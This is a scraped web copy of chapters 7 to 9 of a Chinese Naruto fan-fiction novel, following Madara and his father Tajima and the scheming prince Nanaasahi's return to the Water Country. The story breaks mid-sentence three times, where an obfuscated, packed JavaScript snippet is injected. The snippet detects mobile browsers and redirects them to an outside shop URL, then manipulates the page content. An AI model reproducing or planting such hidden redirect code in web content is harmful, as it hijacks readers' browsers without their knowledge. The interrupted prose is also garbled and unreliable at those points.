《是宇智波先下的手》 7.第 7 章 斑带着弟弟擦着夜色回到族地,等进了家门,不像泉奈那样老实的低头脱鞋,随意的将两只鞋子一踢一蹬,朝着里面喊道:“老爹,我回来——” 没喊出老爹,反倒是看到三名长老从走廊拐角走出来,和他撞个正着。 斑:…… 他收敛脸上所有的情绪,面无表情的朝着三人点头算是打过招呼,才道:“父亲大人在里面?” 岁枫长老一本正经的双手插袖,淡淡的说:“这么讲礼,该不会是又在外头惹事了吧?” 斑绷着脸说:“没有。” “你最好没有。”她走上前,与斑擦肩而过。 斑还来不及松了口气,对方就倒退两步,食指屈起敲了一下他的鼻梁。 “喂!你干嘛呢!”他大怒。 岁枫长老没搭理,等手下帮自己穿好鞋子后,揉了揉一脸乖巧站在旁边的泉奈的小脑壳,说:“出个小任务还惹自己弟弟担心,让他独自跑去找你,不管是做哥哥还是做少族长,还有得磨炼。” 说完,她轻笑一声,朝着斑挤了挤眼:“在会客室,你乖一点。” 斑瞬间意会,又接触到几名长老或是摇头叹息或是同情的视线,顿时一脑门的冷汗刷刷落。 长老们:……好吧,这表情也太容易猜了。 不怪长老们对这位少族长不太恭敬,先不提宇智波内部并没有严苛的绝对上下尊卑制度,斑之前还闹出和死敌千手家的少族长偷偷交友好几年的事。 虽说后头解释了,是双方隐瞒姓氏后的交情,为了不暴露身手对练时也仅是用白刃战,没有涉及忍术更甚至写轮眼的对战,但到底让族人有些微词。 宇智波原先并不在火之国,是接到大国的委托才来到这里定居,此前他们联手同样被雇佣的羽衣一族共同对付千手,却不想千手实力过于强劲,羽衣一族元气大伤的败走,而宇智波从原本的支援变成了主力。 此后便开启了与千手王见王的对战,随着大名们开疆扩土的野心越发膨胀,二家在战场上遇见的频率越来越高,更甚至到了每次接国战委托,十次有八次对手都是千手的程度。 频繁的对战,实力又相当,势必会产生大量的伤亡,他们的家人亲友死在千手的手里,仇恨在叠加。 尤其近几年因为两方的对战往白热化的趋势发展,已经有未满十岁的孩子陆续被派往战场。在以前这种事是没发生过的。 宇智波出了名的爱护族人,像战场这种瞬息万变极容易有去无回的任务,大人们会自发将孩子们保护在后方,让他们执行危险性低一些的工作。 可时局所迫,这种保护变得吃力,千手一族在火之国发展多年,人数本就占优,还有诸多的小族同盟,宇智波从不与外族联盟,时间一久在这方面就很吃亏。 也正是如此,随着斑越发成长,之前与对家少族长交好的事情就又被翻了出来。宇智波对自家人的特性很清楚,应该说他们都有着共同的特点——过于重情。 会产生——少族长会不会因为与对方少族长交好而手下留情——的顾虑也是难免。 宇智波上千年来,不是没遇到过强劲的对家,但像千手这样的宿敌还是第一次,第一次吃了这么大的亏,他们的战意蓬勃,复仇之心澎湃,自然不希望少族长与对家会有什么交情。 岁枫长老不轻不重的提醒了一下斑,又娴熟的从兜里掏出两颗糖果,给两个孩子一人递一颗,才领着其他人离开族长宅。 斑没好气的关上门,嘟哝着‘当谁是小鬼呢,我才不喜欢糖果’,在泉奈撕了包装袋将糖球递到嘴边时,又很是顺口的含了进去。 牙齿卡兹卡兹的咬着糖,将手中的糖果拆包装塞进弟弟嘴里,他才……从储物卷轴里掏出一份包装得古朴大方的羊羹,同手同脚的往会客室的方向走。 一边走还一边小声的说:“泉奈你别跟来,我去就好。” 岁枫长老提醒过了,自家老爹现在情绪不高,那等他将惹的事说了,两兄弟都得一块儿倒霉。 老爹虽然不打人,可骂起人来可凶了。 泉奈倒是没有斑那么紧张,他学着兄长垫起脚尖无声的踩在地板上,还能前倾上身朝着斑咧嘴笑。“才不要,我不会让斑哥一个人挨骂。” “所以……斑果然是惹事了对吧?”突然出现在身后的声音,让两兄弟齐齐打了个激灵,身体僵硬。 二人卡巴卡巴的扭动着僵硬的脖子,对上不远处抱着双手沉着脸看着他们的宇智波田岛,几乎是同时的咽了咽口水。 田岛微微眯起眼睛看着这两个儿子,视线在泉奈脸上停留了一秒,着重盯着斑。等斑的双腿不受控制的颤抖,田岛才幽幽叹了口气:“我记得这次派你去的是吉原。所以,别告诉我你闹出了和那里的女人过夜的丑闻。” “啊?啥?!”斑站直了身体,气愤的喊道,“怎么可能,你在瞎说什么呢!” 田岛继续叹气:“你也十五岁了,为父也是从这个年纪过来的,会对那种事好奇也很正常……” “都说了没有!你的脑子里到底在藏些什么乱七八糟的东西!” 斑的反驳是那么的坦荡,被冤枉的恼怒都真情实意,田岛见他快炸毛了,才见好就收的道:“可除了这种事,为父也想不出你能犯了什么……这般狗狗祟祟的错啊。” “你才是狗呢!” “好的,那你就是小狗。” 斑:! 田岛继续道:“泉奈就是小小狗。” 泉奈:关我什么事啊! 意识到和父亲拌嘴只会是惨败,斑不甘不愿的闭口不言,委婉的表达话题到此为止的意思。 田岛耸了耸肩,他对自家大儿子的性格也是清楚得很,天不怕地不怕的臭小子,在正事上还是很有担当,不至于会闹出一时大意搞砸任务或者闹大到不可收拾的地步,所以他想来想去,这么心虚也就只有犯了那种错误。 本来青春期的孩子就敏感,作为忍者在美色定力这方面也是要严加训练,所以才会派斑去那种地方执行任务。 ……好吧,田岛不相信自家儿子能情不自禁闹出那种事,毕竟这孩子挺不解风情的,族里有几个小女娃跟他示好,他都能以为对方是在挑衅自己,把人家按在地上一边摩擦一边嘲讽。 田岛单纯就是看斑这副鬼祟心虚的样子不爽,才故意逗一逗。 领着两个儿子进了会客室,田岛看也没看对方手里的羊羹礼盒,而是坐定之后先朝着泉奈勾了勾手指,等小儿子给自己倒了茶,提着对方的后领像拎小猫一样的放在旁侧。 慢条斯理喝了口茶,才放下茶杯,双手放在膝盖上,闭上眼睛闷声说:“准备好了,你说吧。” 不是犯那种感情上的错,也不是搞砸了任务,那肯定是更严重的事情。 临到关头斑却是不安起来,田岛越是这样他心里就越焦得慌。但凡对方凶一点他倒是还好,偏生自家老爹打人向来打三寸,教儿子也是直接拿捏要害。 斑能被田岛拿捏得服服帖帖不是没道理的,对方越是这样表现,他头就越低,而且弟弟还被安置在田岛旁边。 就标准的挟弟弟令哥哥!好阴险的臭老爹! 斑眼神乱飘:“老爹,这可是城里最受欢迎的羊羹哦,排队都排好久呢,你不吃吗?” 田岛没说话,斑再接再厉:“听长老们说你心情不太好,是有什么烦心事吗?用不用我……” “泉奈,你今天和为父一起睡吧。”田岛不理他,而是转头对泉奈如此道。 田岛继续道:“你哥也这么大了,你们兄弟俩还一间房不太合适。但没关系,你还是个害怕寂寞的小孩子,可以跟为父一间房……” 泉奈:……怎么又扯我身上了!还有我才不会害怕呢! “我、说——”斑打断了田岛的话,泉奈被接连牵连的委屈表情深深刺痛了他这颗兄长的心,一巴掌拍在地面上大声的道,“这样就够了吧,不许再欺负泉奈!” “嗯,那你慢慢说。”田岛满意的拉过泉奈,将小儿子抱在怀里,还故意用下巴去蹭泉奈后脑勺的毛发。 这副看似沉稳实则挑衅的模样,让斑的脸色青青白白,在心里痛骂起这个以欺负孩子为乐的无良老爹。 他闭着眼睛,一口气将发生的事情全说了,等来的是长久的沉默。田岛不发话,他也不敢睁眼,过了一会听到细碎的声响,睁开眼就见到田岛正在拆礼盒。 斑内心闪过一丝狂喜,就见到田岛把一小块羊羹塞进泉奈嘴里,然后……以迅雷不及掩耳之势,强塞了一小块进斑的嘴里。 斑:…… 和泉奈叼着羊羹不知所措。 等泉奈忍不住的绷着严肃的小脸,将羊羹吸溜进嘴里腮帮子鼓囊囊的一边皱眉一边咀嚼,斑才如嚼蜡般的吃掉嘴里的羊羹。 “所以你没当场把那个公子打死对吧?”田岛忧愁的叹气。“你要是把他杀了,就什么问题都没有了。” 斑不服气的嘟哝:“都说了我打不过啊。” “你之前提千手家那小子也是这么说的。”田岛懒洋洋的看了他一眼,说,“行了你先去洗澡吧,宵夜在厨房自己去拿。” 斑没想到父亲竟然这么轻松就放过自己,还有些不敢置信。他也不是那种喜欢找骂的人,生怕对方反悔一样的起身就要拉泉奈走。 田岛按住:“洗澡水还没放,等弄好了你再来喊泉奈和我。” 斑:……我就知道没那么容易。 他鼓着腮帮子没好气的拉开拉门,又用屁股一顶把门合上,才跺着重步离开。等脚步声远了,田岛才伤脑筋的单手扶着额头说:“你大哥还是没什么长进啊。” 泉奈已经从他怀里溜出来,塞了一块羊羹进田岛嘴里,自己也吃着一块,声音含糊着说:“斑哥很强的。” 他是这么说的,也是这么确信的,眼里的自信烨烨生辉。 田岛把嘴里的羊羹吞下,好歹是大儿子的心意,吃还是要吃的。道:“他太有原则了,对忍者来说这块很致命。” 作为一个为了守护家族和家人而不择手段的族长,田岛对于大儿子某些方面的死脑筋很伤脑筋。但他不否认斑的天赋。 虽然斑第一次开眼的时间比泉奈还晚,但族内没有任何人怀疑斑的天赋。斑在没有写轮眼的时候都能够光靠忍术和体术打败与他同岁数却开了眼的族人。 而且,斑的查克拉很强大。这一点在他出生的时候就全族知晓了。 宇智波一族的查克拉都挺强的,但因为写轮眼的关系他们对查克拉的使用要精打细算,但斑的查克拉远胜过一般的族人,在开眼之后,他就算是高强度的使用写轮眼,也比其他族人要能持续更久的时间。 晚开眼在宇智波里并不算是平庸的表现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846360|191081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,过早开眼而心智没跟上,反倒会成为需要重点关注的对象。 斑很重视自己的弟弟,但他的抗压力很强,即便是失去前头三个弟弟的时候也没有觉醒。 他都忍耐下来了,这份忍耐反倒为他开眼后打下了坚韧的基础。虽然这份坚强背后少不了田岛的手笔,他一直在用因材施教的方式来引导自己两个儿子成长,但田岛也如泉奈一般,觉得斑以后肯定会成为能率领宇智波迈向辉煌的强者。 可过于有原则这一点还是让田岛伤脑筋。 如果斑能不择手段一些,他根本不用说出什么‘对方比我强’的话。因为千手柱间的弱点很明显,容易心软也容易对信任之人掉以轻心,斑只要略施手段就能够取得对方信任并杀死他。 而七旭公子……确实是个很聪明的人,也很会拿捏人心,但斑有原则到全程不用忍术给对方有可趁之机,也是不对的。 斑是少族长,家族寄予厚望的下一代族长,他就算是出这种小任务背后肯定也会有族人跟着。田岛就剩下两个儿子了,二人都是未来要撑起家族的人,他自然不可能真的任由泉奈一人去找斑。 也正是如此,在他们两个回来之前田岛就已经知道了斑与七旭对战的事。 泉奈是知道背后有人跟着的,所以刚才在看到长老们的时候,他才表现得没斑那般忐忑。 在他看来,父亲没有等在玄关或者族地大门,就说明这件事在对方眼里不成什么大问题。 他仰头问父亲:“不用管吗?” 虽说那位公子确实有着别于查克拉的特殊力量,身边也有强大忍者跟随,但如果宇智波想动手的话,成功率还是很高。 在他们看来,普通人都过于羸弱,所以需要忍者为他们排忧解难。就算是贵族,也不过是有权势些的普通人罢了。 七旭再强,联合他家忍也对抗不了宇智波针对性的暗杀。宇智波最擅长的是幻术,即便是不暗杀,也可以催眠改变对方的记忆。 但看父亲的意思,好像并没有跟那位公子动手的意思。 “没必要。”田岛的判断很理智,“没传出去,就当做没发生。传出去了,又或者被对方针对,对宇智波不失为一件好事。” “哦?”泉奈的眼里满是求知欲。 田岛又喝了一口茶,才道:“那位公子是最近的名人,他虽然从小在火之国充当质子,但此前并不被重视,火之国的大名也从未施恩于他,他活得就像是一个不存在的小透明。对方突然有这场造化,火之国大名会补救,但他也会防范——平民尚且会有穷人乍富不知天高地厚的事情发生,更别说从一个不受重视的透明公子变成一国储君。” 泉奈听懂了:“火之国大名会担心对方将过去质子之事作为耻辱,针对火之国。” “没错。”田岛欣慰的摸了摸泉奈的小脑壳,用手指梳理着他束起的小马尾,“现在还不知道那位公子具体的脾性,所以什么都不做对我们有利。如果他对宇智波有意见,那同样的对我们家族也有利。” 虽然国战的雇主并不局限于火之国大名,更甚至这位大名左右摇摆,委托的时候会在宇智波和千手之间来回做选择。 但火之国是个成型的大国,始终是名需要谨慎对待的大客户。如果因为得罪了那位公子受到报复,那火之国大名肯定会倾向于宇智波。 政客便是如此。 甚至会认为这件事是一件能和宇智波谈判的筹码,相应的他们在之中也能获得更多利益。如果真的能得到火之国大名的偏向,就代表着更多的后勤资源保障,如此在对抗千手的时候,家族也会有所余韵。 不过,这一切的前提都建立在那位公子怎么想。 田岛反倒是希望斑是真的得罪了这名公子,如此……说不定能利用火之国大名那种心理,化为重创千手,为族人复仇的机会。 父子俩一边谈话,嘴巴全程没有闲着。等斑臭着脸拉开门,探进脑袋说:“水放好了,也热好了,毛巾和换洗衣物都准备……” 剩下的话没有说出口,化为满腔的无语:“你们全吃光了?一块都没给我留?” 桌子上的羊羹已经成了一个空盒,泉奈手里还捧着一个茶杯,腮帮子鼓囊。 他含糊着说:“好吃。” 斑瞬间没了脾气:“……哦。再好吃都不许跪坐。” 泉奈听话的改变坐姿,从跪坐变成了盘坐。斑这才满意的……瞪着正在看卷轴的田岛。 他低声的,咬牙切齿的说:“你其实早就知道我和七旭发生的事情了吧?” 放洗澡水的时候他越想越不对劲,等反应过来的时候他都把一切准备好了。 田岛抬眸看了他一眼,说:“有泉奈在,其实也不用特别操心。” 斑:? 田岛无奈的叹息:“算了,毕竟是亲生的。” 是他亲手给这孩子接生的,想到自己第一次当父亲没什么经验,让这孩子不小心头朝地摔了一下,耳朵都差点被暴走的妻子拧断了,田岛终究还是对这个好大儿拿出非同一般的耐心。 也是从斑这里,田岛痛定思痛,其他孩子出生的时候他已经是一名千锤百炼的合格奶爸。想到这里,他自我催眠之下冒出了几分愧疚之心,对斑的某些小毛病就更包容了。 斑:??? ——你虽然不说,但我觉得你在心里偷偷骂我了! 8.第 8 章 前往火之国国都的过程没有发生波折,藤门太明在预计中的日子拜见那位七旭公子。 地点是在对方的宅邸。 宅邸离大名府很近,占地面积广阔,一应器物就连楼阑檐瓦都很新,不用想都知晓应该是事发之后被火之国大名改为安置在这里的。 但这些不是藤门太明关注的地方,他着重观察周围的侍人守卫,摸不清里面有多少被安插的探子,只从表面上看井井有条,很有秩序。 只是在被侍人领着走进通往内院的门时,藤门太明疑惑的问出自己的问题。 “那些女子……不是普通的侍女吧。” 他的视线落在对面游廊,跪在地上细心擦着栏柱的两名女子,低眉顺眼目不斜视,穿着规格一致的素色衣服,应该是为了方便劳作,是上衣下裤的着装,与神社巫女服的差别仅在于她们的袖子是更为简洁的窄口长袖。 贵族不会去约束低贱平民的着装,但贵族圈里是不喜女子穿裤装的,至少水之国是这样,女子不穿裙而是穿裤子是一种很失礼的行为。 这里是火之国,藤门太明摸不准是不是这个国家别样的习俗,又因为这里是公子居住的内院,思索着可能是对方的喜好,所以尽管心中不喜也没有直言。 他转而问的是其他的事。 看似只是两名普通的侍女,可即便是这般简洁的服装,在蹲身时会刻意伸长脖子,露出莹白修长的后颈,一举一动也都透着一股子优雅魅惑的韵味。 很显然这是一种从小培养出来的,刻入骨子里的惯性行为,即便两人非常专注于手中的工作,谨小慎微的不做出任何出格的行为,也无法掩盖这一点。 藤门太明因此还特意观察了四周的侍人,才发现进入内院后,一路过来除了眼前接待自己的侍人之外,其他都是容貌不俗气质浮华的女子。 “是诸位大人送过来的美人。”侍人幸太微笑着说,“公子觉得赏心悦目就放在内宅干活,原先宅邸里的侍人就都退去外院伺候。” “哦?”藤门太明不再询问,甚至不再表现出丁点好奇。 相对的,他脸上的神色更为肃穆,就连挺直的腰杆都微微弯下,一派谦逊之色。 七旭曾经跟家忍说过,贵族就像是一群将自己封闭在高墙内的直立动物,自以为高贵无比,偏要为各种行为打上标签。 就算是打个哈欠挠一下痒,周围的人都会将这个行为细细琢磨,即便是没什么意义的事情,都能脑补出不少东西来,也难怪偏头痛成为了一种很是普遍的贵族病,这么一来一回不神经衰弱才怪。 很是小家子气。 藤门太明并不知道七旭对贵族的评价,作为世代侍奉大名的藤门一员,他对大名高贵的血脉是信奉入骨。 他觉得七旭这么做肯定有自己的深意。 已知公子在水之国出事之前并不受到重视,在调查中也知晓对方以前住在一个偏僻的小宅子里,伺候的人也就小猫两三只,甚至经常被克扣用度。 水之国的大名遗忘了还有这个儿子的存在,虽然每年会定例的送东西过来,可公子不受宠,就连想送封信回国都得经过旁人之手,送来的东西自然会被一层层的盘剥。 火之国大名顶多就是关心一下这位质子的健康,只要对方不要不明不白的死在自己的国家,其他事是不管的。 如此,他怎么可能培养出自己的亲信。而近期又被挪到这个短时间翻修出来的宅子,看似规模不小富丽堂皇,但细看都能知晓细节粗糙得就像是赶工出来的一样。 人是火之国大名派过来的,或许背后还有其他贵族的手笔,那这些人又怎么能信任?相对的,被贵族们送过来的这些美人,用起来反倒是更放心一些。 这些女人一看就知道是从游廓之地买来的,即便是能侍奉公子生下一儿半女,孩子也不一定会被认下,对于背后之人来说他们除了充当一下消遣的玩物外没什么后续利用价值。 而她们将要远离故土前往遥远的水之国,未来尽数掌握在公子手中。 只要略加施恩,这些被教导得温顺无害又见识粗浅的女人自然不敢背叛公子,且从她们甘心用调养得如葱般的手指干着这种粗活,本分的闷头做事连来了个外人都不敢抬头张望就可以知道,公子的驭下能力还是有的。 他赞赏公子的这种行为,顿时在看待这些侍女的裤装时,心里的不喜也一扫而空。 他迫不及待的想要看看这位未来要效忠的主公。 来时他想过,只要公子不是愚笨如死猪的爱作死之人,他就心满意足了。而现在,他反倒是认为对方是心有盘算之人。 该说不愧是大名家的血脉么,即便是不受教导的公子,也是胸有沟壑。 怀揣着这样的心情,他终于在广间见到了对方。在得到对方的召见后,全程毕恭毕敬就连进门都不敢抬头,直到跪下行礼之后,他才缓缓的抬首,视线从地面再到对方盘坐的双腿,略过玄青色绣有暗纹的衣袍,目光才落定在对方的脸上。 他不敢注视太久,就乖顺的垂首。但仅是方才瞥见的那一眼,就在内心留下深刻的印象。 这位公子长得和大名一点都不像。藤门太明没见过对方的母亲,他猜测那如玉般的姿仪应该是肖母。 听新纳的侧室说过,对方的母亲确实是曾被广为赞誉的美人。 藤门太明反倒是心里嘀咕起自家大名怎么会不宠爱能生出这般模样公子的美人,即便是公子之母只是与之有五分相像,那般美貌的妇人怎么都应该比大名现在最宠爱的初姬夫人要美丽得多。 世人皆爱美,尤其是贵族,他们尤爱身份尊贵又容貌盛丽的美人,外形出色的男人都更容易得到大名的青睐,被予以重任。 比如藤门太明的父亲便是因为长相英俊身材高大硬朗,才一步步走到现今的家老之位。 除了容貌之外,藤门太明还注意到这位公子的不同。 明知道对方肯定从小没受过相应的公子教育,那随意得犹如无骨般背靠着扶座的坐姿,都能品出几分浑然天成的高贵典雅。 这是他以后要效忠的主公。 光凭对方的容貌气质,都足够他在大名和权贵圈站稳跟脚了。 藤门太明心头有些火热,内心正要更多的抒发情感时,就听到上头传来对方懒洋洋的,就像是还没睡醒的沙哑声音。 “见过火之国大名没?” 用词造句并不文雅,但藤门太明已经先一步的给对方套上了浓厚的滤镜,自然不会觉得有问题。 他恭顺的道:“小臣刚从大名府出来,火之大名问候了您的父亲,也很关心您回国路途的安排,并承诺派出一支军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16847860|191081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队和两队忍者护航您的周全。” 他说着,又细细报告了自己带来了多少人,还有水之大名在出发前对他的嘱托,也没有忘记给自己的父亲揽点功劳,述说一下对方的重视。 他的声音温吞缓慢,一句话停停顿顿,音调拖长就像是在唱歌,好像说得快一点就会有违自己的身份。 丝毫没有感觉到首座上的七旭已经翻开了一本书,比起听对方说话,七旭显然更喜欢看书。 看就算了,他还打了个无声的哈欠。 他今早六点就去了大名府,还被接待吃了一顿早饭,虽然已经差不多习惯这个时代贵族的说话方式,毕竟他之前还在那些贵族的宅邸中绕来绕去保平安。 但还是很无聊。尤其是火之大名说话更慢,就像是老乌龟,而且说话还很委婉,一句话表达的意思绕七八个弯都算是小意思了,想说什么都得靠别人猜。 七旭在时之政府见过这样的人,说话矫揉造作故作高深,其实肚子里就没点墨水,脑子里全都是废渣,说得委婉是因为不想揽责任,反正出事了就是手底下人会错意,做对了就是他们英明神武。 像这样的人,在七旭进入时之政府的两个月就消失得干干净净的。 理由很简单,他最讨厌废话文学。 他是神明亲自请过来的审神者,又不是在那群废物手底下的打工仔,没必要委屈自己。 要不是为了偿还救命之恩的因果,他还打算扶持溯行军那边的人,让他们把时之政府拆了,让两边两败俱伤,他自己再拉个组织出来把两边全部接收呢。 能忍着不动手已经很努力了。 心里吐槽着这个时代的贵族果然是闲得发慌,难怪打仗这种事都让忍者代劳,转而又吐槽忍者是什么天生牛马,手里有刀竟然还要给一群蠢货办事。 就这样足足吐槽了大半个小时,藤门太明才总算是将那点子五分钟能说完的话表述出来。 七旭等到他闭嘴了,才像是从瞌睡中苏醒一般,把手里的书往桌案上轻轻一放,起身说道:“行了,出发吧。孤知道该怎么做了。” “咦?”藤门太明有些没反应过来。 他刚才说的话里,有哪一句是有暗示对方该做什么事的倾向吗? 自顾自认下的主公很是雷厉风行,他早就让人收拾好了东西,不等藤门太明回神就直接往外走。紧接着是一长列的载满东西的马车整齐排列在大门口。 七旭拒绝侍人的帮助,曲卷的刘海拂面,红绳编织的高辫在半空甩过亮色的银弧,身手利落的掀开最豪华的那架马车的帘子坐了进去。 本来还想看看水之国那边的官员是什么尿性,等耐着性子听完对方一通废话之后,七旭单方面决定改变上位的方针。 之前还觉得火之国的贵族风气跟乌龟一样,现在看来水之国更严重。 拖拖拉拉的让人烦躁。 他竟然都开始反省自己,之前还吐槽水之国那些公子办事拖沓,他把借口都批发到那群人手里了,结果耗了一个月才同归于尽,而其中有一大半还是他为了赶进度让人放火或者下毒栽赃、借刀杀人才恁死的。 本以为是那些被圈养的公子太废,现在才知道水之国上下都是重度拖延症。 ——作为精神补偿费,回水之国当天就把那个便宜父亲宰了吧。 9.第 9 章 大名家是真的有高位要继承。 以前水之大名以为自己儿子多不怕作,一开始发现底下儿子那点子猫腻的时候,他乐得在旁边看戏。 他没有嫡出的儿子,所以底下那些庶子对他来说都一个样,选谁做继承人也不会妨碍到他享乐。 但他没想到那些儿子那么能耐,没等他反应过来下场干涉,十来个儿子就全军覆没了。那可都是活到能排序的儿子啊。 到了他这个岁数若是没有个长成的继承人,地位也不会太稳当,已然十五岁的七旭就成为了他现在稳定局势的巨石。 也正是如此,被派来护送他回国的船队规模已经达到大名出巡的规格。三艘大船,十二艘小船护航,配备的忍者和武士也不少。 再加上火之大名派来的护卫,浩浩荡荡的船队就这么畅通无阻的航行在海面上,过往的船只即便是靠近一些,都会被直接炸沉。 七旭在火之国的时候遭遇了不少次暗杀,等他上了船之后,却是风平浪静。 他很清楚其中的缘由。 水之国地理位置优越,差不多规模的大国与它没有实质利益上的冲突,有规模的中小型国家就是联合起来也无法打破这样的防御。 一旦七旭在海路上遭遇刺杀,得罪的不仅是水之国,派出护卫的火之国也会颜面大损。 而水之国国内与七旭有天然对立关系的小公子,背后的拥护者也不会希望七旭在小公子长成前出事。万一七旭死了,小公子夭折了,对他们来说才是赔了夫人又折兵。 而如果七旭活着成为了新大名,只要小公子也能健康长大,那才是新一轮腥风血雨的开始。 七旭没把那个小公子看在眼里,对他来说不过都是将死之人,他也不操心路上是不是会有剑走偏锋的刺杀,他只关心手底下人有没有将他的命令执行下去。 不管是作为审神者还是千年前的皇朝太子,他都深知想要办成一件事,执行过程越是简略效率达成率更高。 正经事如果要筹谋上一年半载,黄花菜都凉了。交代下去的事经手人多了,就容易出变故。 现实不是弹琴,琴谱是固定不变的,知道的人多了,事就来了。五个人传一句话都能传得面目全非,更别说是让那些陪葬品流入市场。 他觉得比起恁死那些公子,让那些贵族因为陪葬品乱起来的事难度要更高。杀人不过是头点地,不管中间出什么事,只要人死了,事情别扯到他身上就行了。 至少在他继承水之国之前别被查出来就行,而办到这一点也简单,因为就水之国的办事效率,三个月能查出个大概都算是底下人勤劳。 但陪葬品不一样,中间但凡有人告密,或者退缩,又或者贪婪昧下,流通过程遭遇土匪抢劫,都会破坏他的计划。 按照这个速度,在不遇到恶劣天气的前提下走海路回水之国需要九天时间,必须确保这九天内就让贵族们乱起来。 让贵族们疲于调查祖坟失窃事件,不仅关系到他看中的家族会不会减员,最重要的是确保他整顿水之国的期间不要有其他国家来坏事。 上他死亡名单的人太多了,杀起来要时间,接收他们的遗产、扶持自己的班底和坐稳那个位置也都需要时间。 而且各国被这事困住手脚,不急于雇佣忍者各种开战,对他来说也是一段珍贵的稳定期,方便他往各个国家塞内应、搅浑水。 他在这个世界最缺乏的还是根基,又没有什么统一世界的大志向,只是为了让自己过得开心点,才朝贵族动刀,而这种程度上来动摇持续千年的规则制度总是没那么容易。 眼下最符合他心意的达成目标的捷径,也就是雇佣一个有实力的大族用武力压制下国内的声音,通过这种手段确保他牢牢掌控水之国,在有生之年过上正经退休的日子罢了。 虽说他就当了十年的审神者,但按照时之政府与外界的流速比例和经受的各种战役,他觉得自己内心已经是个过百的老人。 他都这个岁数了,还不让他退休就很过分了。 就目前忍界的实力排行,千手和宇智波都是能震住一方大国的豪族,可对七旭来说,不管有没有和因陀罗的契约,这两个家族他也只能挑宇智波。 要么就多雇佣一两个大忍族,质量不够数量来凑,要么就只能选宇智波。先不提千手在火之国扎根多年,这个家族的关系脉络太杂了,有交好的小忍族,也有诸如漩涡一族那样的姻亲大族。 雇佣千手,就势必需要考虑更多的事情,让情况变得复杂。相对的,过得很独的宇智波就没有那么多问题。 而且他这边有一样让宇智波无法拒绝的东西。 七旭上船前已经做出了足够稳妥的安排,在海上他也没什么能做的,仅能够静待消息。 多想无益,心里关心,日子过得还是很惬意。 顶多对于护卫的人来说,这位公子可真是过得无比悠哉。 水无月独雄就是怀着这种看法找上了水无月绫。 谁能想到那个在前族长葬礼上把自家父亲尸体冻成冰块又砸成粉末,又打伤了长老和好些族人的水无月绫,现在竟然是真的安分守己在这位公子手底下做事啊。 他找到了对方,对方正蹲在甲板的栏杆上一边磕着瓜子,一边在碎碎念。 “这样都能钓到鱼啊,学到了。哇~~那鱼能塞牙缝吗?哦呀~水草连牙缝都塞不了吧……” 她盯着钓鱼,越钓脸越黑的七旭,不用揣摩都知道她在幸灾乐祸。 主公要钓鱼,还有忍者帮忙吸引鱼群,两个小时过去了钓上来的东西包括水草垃圾都塞不满一个木桶。 真惨。 对比撒出去的饵食就是血亏。 惨到她啧啧摇头,瓜子磕了两口袋。 水无月独雄眉毛抽搐着,一脸的无法直视。 虽说和水无月绫从小长大,但还是搞不懂这位被誉为家族百年难得一遇的天才脑子里在想些什么。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16853501|191081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且是怎么做到用那么高冷清贵的脸,做出这么没形象的事情,还光明正大的嘲笑自家上司看笑话。 水无月独雄想了很多话要和对方说,却在水无月绫看到他时,理智的选择转头就走。 没成功,对方直接抽出腰间的鞭子勾住他的腰,把人提溜到面前。 水无月绫:“好歹我们也曾经是睡过一张床的关系,看到我却调头就走你几个意思?” 水无月独雄俊秀的脸满是羞恼的潮红:“别说得那么奇怪!那已经是小时候的事了吧!” 那时候他还是个穿开裆裤的小鬼呢! 水无月绫切了一声,又变了脸色语重心长的说:“我这是为了你好,在船上还要待一段时间呢,你长得还不赖,我家主公又好美人,我把你揣进被窝里了,他肯定不好意思对你下手。” 想到七旭上船时确实带了十来个长相不俗的美人,水无月独雄的脸色顿时有了变化,他也不挣扎了,低声的道:“你小声点,小心七旭大人治你的罪。” 混成浪忍还能投靠到一名公子,这个运气怎么都不算差了,要是因为嘴上不把门丢了差事可就惨了。 水无月绫松开鞭子,鄙视的嘲讽这个听进去的人:“你少做梦了,就你这张脸也想侍奉我家主公,吃亏的是谁啊。” 他家主公其他方面不说,光是脸就已经特能打了好不! 水无月独雄:…… 他不停在心里对自己说‘你打不过她’‘你打不过她’…… ——到底是谁先扯上这个话题的! 还是忍不住的在脑海里咆哮出声。 水无月绫撇嘴,又吐了个瓜子壳才说:“之前给你送的信呢?有胆子不回我,还有胆子来见我,想必想好死法了吧?” 水无月独雄憋屈得不行,弓着腰低着头,尽力无视掉暗处族人们投递过来的同情目光,唯唯诺诺的说:“你总要给点准备时间吧。” 想到对方传信的内容,他是一个头两个大。说实话,能投靠七旭公子确实是一件很让人动心的事情,但让水无月绫成为新族长……天塌了。 问题是两件事是绑定在一起的,天塌得格外彻底。 